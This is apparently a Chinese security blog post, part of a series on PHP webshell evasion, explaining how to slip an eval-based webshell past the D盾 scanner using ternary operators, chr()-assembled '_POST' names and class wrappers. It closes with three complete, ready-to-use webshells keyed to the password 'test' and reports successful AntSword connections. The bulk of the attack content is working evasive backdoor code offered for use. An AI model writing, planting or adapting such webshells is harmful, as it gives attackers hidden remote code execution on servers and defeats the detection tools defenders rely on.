0x00 前言
开始正文之前我需要先和大家道个歉,在上期文章中我没有和大家讲清楚:第二版脚本中我是直接将调用了eval的那个方法的类名写到了创建反射对象时的形参当中:
所以蚁剑连接时不用固定UA头,这个我没在文章中说,不好意思各位!因为我当时的想法是将脚本改进成获取UA头生成密钥解密temp类名密文,但是那天没睡好,就忘了这茬,我当时默认是我已经改好了,所以就那样顺势说了,后期我还会将修改后的脚本分享给大家。
注:本文提到的通杀方案截至到发文日期(2025.2.11)前是有效的,后续需要读者朋友们自行测试是否有效。
0x01 正文
其实我写这篇文章之前还在修改我的那段脚本,主要是为了过D盾,因为愣是过不去检测eval,于是我又新开了一个脚本去过D盾,直到我用了三元运算符,初版代码:
D盾:
可以看到我在脚本中主要是进行了三种操作:
1.对_POST进行变量混淆。2.eval调用时往里面写了一个三元表达式。3.将必要方法封装到类中,例如获取数组中的内容。
在之前的PHP_webshell免杀01-变量绕过和PHP_webshell免杀02-封装函数或类(过D盾)两文中我有讲过如何进行变量混淆和封装函数或类去绕过D盾,读者可自行查阅。那么这个三元表达式该怎么玩呢,我接下来给大家简单演示一下,开始之前读者朋友们需要注意的是待会我要介绍的三元表达式有两种版本,第一种是如下这种:
echo1 < 0 ?: 1;
形如(expr1) ?:(expr2)
这种的三元表达式是php5.3版本(注:这里我需要强调一下,我这里标注的版本是我在网上查到的,但是我实际测试中发现php版本5.6.9也是不能这样写的,会报语法错误)开始才有的功能,expr1表达式为真时返回expr1表达式的值,否则返回expr2表达式的值。
第二种是如下这种:
$a = 1;
echo$a ?? 1;
形如(expr1) ?? (expr2)
的表达式会先判断expr1变量是否存在且值不为NULL,如果是,则返回expr1的值,否则返回expr2。
其实准确的来说第二种表达式叫作NULL 合并运算符
,它是PHP7中才有的功能,主要就是检测expr1变量是否存在且值不为null的,更方便地让我们去判断一个值是否存在,例如我给大家演示一下通过这种方式判断POST请求中是否传输了某个键值:
所以我上面给大家看的webshell中是这么用的:
$_ = $$b['test'] ??0;
eval($_??0);
那么此时就会有一个版本问题,因为第一种表达式是在php5.3版本后才开始引进的,而第二种表达式是在PHP7中才引进的,所以我建议大家使用原始三元表达式来绕过D盾对eval的检测,这样能防止语法错误,于是我用原始三元表达式也写了一个差不多的脚本,该脚本能适配php全版本(注:理论上来讲是全版本可用,但这里我没有每个版本都去测试一遍,我只测试了5.x-7.x版本之间,在这个版本区间内是没任何问题的),以下是D盾测试效果和蚁剑连接效果:
代码:
我为了适配php全版本,将三元运算符改为了(expr1) ? (expr2) : (expr3)
的形式,也就是它原本的形式,其次就是我又给wwww类
多加了一个get方法,它会返回传入的数组中的test键值,通过这种方式可以有效绕过D盾检测eval中是否存在[]
的情况。
0x02 总结
回归标题,总的来说,本文提到的绕过D盾对eval的检测核心在于往eval里写三元表达式
即可,其他操作例如对POST变量进行混淆等都是辅助操作,整套绕过方案其实上面已经提到过了,下面我再补充一些:
1.对_POST进行变量混淆。2.eval调用时往里面写三元表达式。3.规避D盾检测eval中是否存在[]
可以写一个函数或方法返回数组的指定值。4.将必要方法封装到类中,例如获取数组中的内容。
大家如果想学习具体的内容,例如对_POST进行变量混淆,可查阅我的PHP_webshell免杀系列。
0x03 code
放出代码之前我需要向读者强调两点:
1.我建议大家使用全适配版本,其他两个脚本可以学习参考,尤其是第二个版本我没做适配
,我没测试第二个版本的代码到底能在哪个php版本下运行,读者如有需要请自行按照全适配版本进行修改。2.以下所有webshell连接密码统一为:test
,如要修改连接密码在代码的12行修改即可:
全适配版本:
classwwww
{
public function wwwww($str)
{
return chr($str);
}
public function get($list)
{
return$list['test'];
}
}
$www = new wwww();
$sfd = $www->wwwww(95);
$sdf = $www->wwwww(80);
$dfgb = $www->wwwww(79);
$d123 = $www->wwwww(83);
$d456 = $www->wwwww(84);
$b = $sfd . $sdf . $dfgb . $d123 . $d456;
eval(1 ? $www->get($$b) : 0);
本文第一个版本(??):
classwwww
{
public function wwwww($str)
{
return chr($str);
}
}
$www = new wwww();
$sfd = $www->wwwww(95);
$sdf = $www->wwwww(80);
$dfgb = $www->wwwww(79);
$d123 = $www->wwwww(83);
$d456 = $www->wwwww(84);
$b = $sfd . $sdf . $dfgb . $d123 . $d456;
$_ = $$b['test'] ?? 0;
eval($_ ?? 0);
本文第二个版本(?:):
classwwww
{
public function wwwww($str)
{
return chr($str);
}
}
$www = new wwww();
$sfd = $www->wwwww(95);
$sdf = $www->wwwww(80);
$dfgb = $www->wwwww(79);
$d123 = $www->wwwww(83);
$d456 = $www->wwwww(84);
$b = $sfd . $sdf . $dfgb . $d123 . $d456;
$_ = $$b['test'] ?: 0;
eval($_ ?: 0);
原文始发于微信公众号(Spade sec):PHP_webshell免杀04-eval过D盾通杀方案
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论